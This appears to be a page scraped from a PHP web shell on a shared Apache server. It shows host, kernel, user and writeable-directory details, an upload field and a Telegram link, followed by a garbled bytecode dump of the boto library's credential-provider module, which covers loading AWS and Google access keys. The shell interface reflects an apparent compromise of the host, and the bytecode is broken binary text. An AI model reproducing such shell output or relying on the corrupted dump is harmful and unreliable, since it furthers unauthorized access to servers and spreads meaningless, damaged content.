https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/__pycache__/provider.cpython-310.pyc
o

ckF[�W�@sdZddlZddlmZddlmZddlZddlmZddlmZddlm	Z	ddl
mZdd	lm
Z
dd
lmZdd
lmZddlmZdZd
ZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&d Z'd!Z(d"Z)d#Z*e+�Z,Gd$d%�d%e-�Z.Gd&d'�d'e+�Z/d(d)�Z0dS)*zC
This class encapsulates the provider-specific header differences.
�N)�six)�datetime)�config)�
expanduser)�Config)�InvalidInstanceMetadataError)�ACL)�CannedACLStrings)�Policy�
header_prefix�metadata_prefixzx-amz-zx-goog-z
acl-headerzauth-headerzcopy-source-headerzcopy-source-version-id-headerzcopy-source-range-headerzdelete-marker-headerzdate-headerzmetadata-directive-headerzresumable-upload-headerzsecurity-token-header�
storage-classz
mfa-headerzserver-side-encryption-headerzversion-id-headerzrestore-header�StorageCopyError�StorageCreateError�StorageDataError�StoragePermissionsError�StorageResponseErrorc@seZdZdS)�ProfileNotFoundErrorN)�__name__�
__module__�__qualname__�rr�//usr/lib/python3/dist-packages/boto/provider.pyrJsrc@s�eZdZddd�Zeed�Zeed�Z	ddd�Z
ddd�Zddd�Zie
e�eed�eed	�ed
�eed�eed�eed
�eed�eed�eed�ed�eed�eed�eed�eed�eed�eed�ie
e�eed�eed	�ed�eed�eed�ed�eed�eed�eed�eed�eed�ed�eed�eed�ed�ed�d�Z e!e"j#j$e%e"j#j&e'e"j#j(e)e"j#j*e+e"j#j,ie!e"j#j-e%e"j#j.e'e"j#j/e)e"j#j0e+e"j#j1id�Z2		d:dd�Z3dd�Z4dd�Z5e6e4e5�Z7d d!�Z8d"d#�Z9e6e8e9�Z:d$d%�Z;d&d'�Z<e6e;e<�Z=d(d)�Z>		d:d*d+�Z?d,d-�Z@d.d/�ZAd0d1�ZBd2d3�ZCd4d5�ZDd6d7�ZEd8d9�ZFdS);�Provider)�aws_access_key_id�aws_secret_access_key�aws_security_token�aws_profile)�gs_access_key_id�gs_secret_access_keyNN)�aws�google�s3�gsFTzmeta-�acl�AWSzcopy-sourcezcopy-source-version-idzcopy-source-range�datez
delete-markerzmetadata-directiveNzsecurity-tokenzserver-side-encryptionz
version-idr
�mfa�restore�GOOG1�	resumablec
Cs4d|_d|_d|_||_||_||_||_||_|j|j|_	|j
|j|_d|_t
j�td�d|d�}tdd�|_t
j�|�rG|j�|�|�||||�|��|��d|j|j}t�d|�rlt�d|�|_d|j|j}t�d|�r�t�d|�|_d	|j|j}	t�d|	�r�t�d|	�|_dSdS)
N�~�.�credentialsF)�do_loadz%s_host�Credentialsz%s_portz%s_host_header)�host�port�host_header�
access_key�
secret_key�security_token�profile_name�name�AclClassMap�	acl_class�
CannedAclsMap�canned_acls�_credential_expiry_time�os�path�joinrr�shared_credentials�isfile�load_from_path�get_credentials�configure_headers�configure_errors�
HostKeyMapr�
has_option�get�getint)
�selfr7r3r4r5r6�shared_path�
host_opt_name�
port_opt_name�host_header_opt_namerrr�__init__�s8�zProvider.__init__cC�|��r|��|jS�N)�_credentials_need_refresh�#_populate_keys_from_metadata_server�_access_key�rJrrr�get_access_key��zProvider.get_access_keycC�
||_dSrQ)rT�rJ�valuerrr�set_access_key��
zProvider.set_access_keycCrPrQ)rRrS�_secret_keyrUrrr�get_secret_key�rWzProvider.get_secret_keycCrXrQ)r]rYrrr�set_secret_key�r\zProvider.set_secret_keycCrPrQ)rRrS�_security_tokenrUrrr�get_security_token�rWzProvider.get_security_tokencCrXrQ)r`rYrrr�set_security_token�r\zProvider.set_security_tokencCsZ|jdurdS|jt��}|j|j|jdddd}|dkr+tj�d�dSdS)NF�ii@Bi,z!Credentials need to be refreshed.T)	r<r�utcnow�microseconds�seconds�days�boto�log�debug)rJ�delta�seconds_leftrrrrR�s
���z"Provider._credentials_need_refreshcCs|j|j\}}}}|dur |dur |��tjvr tj|��}|j}	|dur1||_tj�	d�nw|��tjvrGtj|��|_tj�	d�na|dur�|	�
||�ra|	�||�|_tj�	d|�nGt�
d||�r{t�d||�|_tj�	d|�n-t
d|��|	�
d|�r�|	�d|�|_tj�	d�nt�
d	|�r�t�d	|�|_tj�	d
�|dur�||_tj�	d�n�|��tjvr�tj|��|_tj�	d�n�|du�r|	�
||�r�|	�||�|_tj�	d
|�n|t�
d||��rt�d||�|_tj�	d|�nat
d|��|	�
d|��r|	�d|�|_tj�	d�nFt�
d	|��r2t�d	|�|_tj�	d�n1t�
d	d��rct�d	d�}
zddl}Wnt�yTtj�d��w|�|
|j�|_tj�	d�|du�rr||_tj�	d�n{|du�r�|du�r�|du�r�|��tjv�r�tj|��|_tj�	d�nU|	�
|�p�d|��r�|	�|�p�d|�|_tj�	d�n:|du�r�t�
d||��r�tj�	d�t�d||�|_tj�	d|�nt�
d	|��r�t�d	|�|_tj�	d�|jdu�s�|jdu�r|j|j�r|��|�|j�|_dS)Nz$Using access key provided by client.z/Using access key found in environment variable.z@Using access key found in shared credential file for profile %s.z
profile %sz2Using access key found in config file: profile %s.zProfile "%s" not found!�defaultz1Using access key found in shared credential file.r/z&Using access key found in config file.z$Using secret key provided by client.z/Using secret key found in environment variable.z@Using secret key found in shared credential file for profile %s.z2Using secret key found in config file: profile %s.z1Using secret key found in shared credential file.z&Using secret key found in config file.�keyringrzZThe keyring module could not be imported. For keyring support, install the keyring module.z"Using secret key found in keyring.z(Using security token provided by client.z3Using security token found in environment variable.z5Using security token found in shared credential file.zconfig has optionz6Using security token found in config file: profile %s.z*Using security token found in config file.)�
CredentialMapr7�upperr=�environr@r3rhrirjrGrHrrr4rn�ImportError�error�get_passwordr5rTr]�MetadataServiceSupportrS�_convert_key_to_str)rJr3r4r5r6�access_key_name�secret_key_name�security_token_name�profile_name_name�shared�keyring_namernrrrrC	s�
��
�
���
�
�����

��

�
����
�zProvider.get_credentialscCs�tj�d�ddlm}t�ddd�}t�ddd�}|||d	d
�}|rQ|�|�}|d|_	|d|_
|d|_|d}t�
|d
�|_tj�d|jt��|�dSdS)Nz,Retrieving credentials from metadata server.r)�get_instance_metadata�Boto�metadata_service_timeoutg�?�metadata_service_num_attempts�z#meta-data/iam/security-credentials/)�timeout�num_retries�data��z%Y-%m-%dT%H:%M:%SZz.Retrieved credentials will expire in %s at: %s)rhrirj�
boto.utilsr}r�getfloatrI�_get_credentials_from_metadatarTr]r`r�strptimer<�now)rJr}r��attempts�metadata�creds�
expires_atrrrrS|s,�



���z,Provider._populate_keys_from_metadata_serverc	
Cs�t|���d}t|t�s|dkrd}nd|}td|��z|d}|�|d�}|d}|d	}WntyE}ztd
|��d}~ww||||fS)Nr�zan empty stringztype: %sz7Expected a dict type of credentials instead received %s�AccessKeyId�SecretAccessKey�Token�
Expirationz;Credentials from instance metadata missing required key: %s)�list�values�
isinstance�dictrrv�KeyError)	rJr�r��msgr3r4r5r��errrr��s,
�����z'Provider._get_credentials_from_metadatacCst|tj�r
t|�S|SrQ)r�r�	text_type�str)rJ�keyrrrrv�szProvider._convert_key_to_strcCs�|j|j}|t|_|t|_|t|_|t|_	|t
|_|t|_
|t|_|t|_|t|_|t|_|t|_|t|_|t|_|t|_|t|_|t |_!|t"|_#dSrQ)$�
HeaderInfoMapr7�METADATA_PREFIX_KEYr�HEADER_PREFIX_KEYr�ACL_HEADER_KEY�
acl_header�AUTH_HEADER_KEY�auth_header�COPY_SOURCE_HEADER_KEY�copy_source_header�!COPY_SOURCE_VERSION_ID_HEADER_KEY�copy_source_version_id�COPY_SOURCE_RANGE_HEADER_KEY�copy_source_range_header�DATE_HEADER_KEY�date_header�DELETE_MARKER_HEADER_KEY�
delete_marker�METADATA_DIRECTIVE_HEADER_KEY�metadata_directive_header�SECURITY_TOKEN_HEADER_KEY�security_token_header�RESUMABLE_UPLOAD_HEADER_KEY�resumable_upload_header�SERVER_SIDE_ENCRYPTION_KEY�server_side_encryption_header�STORAGE_CLASS_HEADER_KEY�storage_class_header�VERSION_ID_HEADER_KEY�
version_id�MFA_HEADER_KEY�
mfa_header�RESTORE_HEADER_KEY�restore_header)rJ�header_info_maprrrrD�s0




��

�
�



zProvider.configure_headerscCsB|j|j}|t|_|t|_|t|_|t|_	|t
|_dSrQ)�ErrorMapr7�STORAGE_COPY_ERROR�storage_copy_error�STORAGE_CREATE_ERROR�storage_create_error�STORAGE_DATA_ERROR�storage_data_error�STORAGE_PERMISSIONS_ERROR�storage_permissions_error�STORAGE_RESPONSE_ERROR�storage_response_error)rJ�	error_maprrrrE�s



zProvider.configure_errorscC�|j|jSrQ)rFr7rUrrr�get_provider_name��zProvider.get_provider_namecCr�rQ)�ChunkedTransferSupportr7rUrrr�supports_chunked_transfer�r�z"Provider.supports_chunked_transfer)NNNN)Grrrror
rr8�CannedS3ACLStrings�CannedGSACLStringsr:rFr�rur��AWS_HEADER_PREFIXr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��GOOG_HEADER_PREFIXr�r�rh�	exception�S3CopyErrorr��
S3CreateErrorr��S3DataErrorr��S3PermissionsErrorr��S3ResponseError�GSCopyError�
GSCreateError�GSDataError�GSPermissionsError�GSResponseErrorr�rOrVr[�propertyr3r^r_r4rarbr5rRrCrSr�rvrDrEr�r�rrrrrNs������	���������
��������������������	�
���
��������3���
�#



�srcCstd�S)Nr )rrrrr�get_default�sr�)1�__doc__r=�boto.compatrrrhrr�boto.pyami.configr�boto.exceptionr�boto.gs.aclrr	r��boto.s3.aclr�r
r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r��object�NO_CREDENTIALS_PROVIDED�
ValueErrorrrr�rrrr�<module>sX

https://t.me/RX1948 - 2025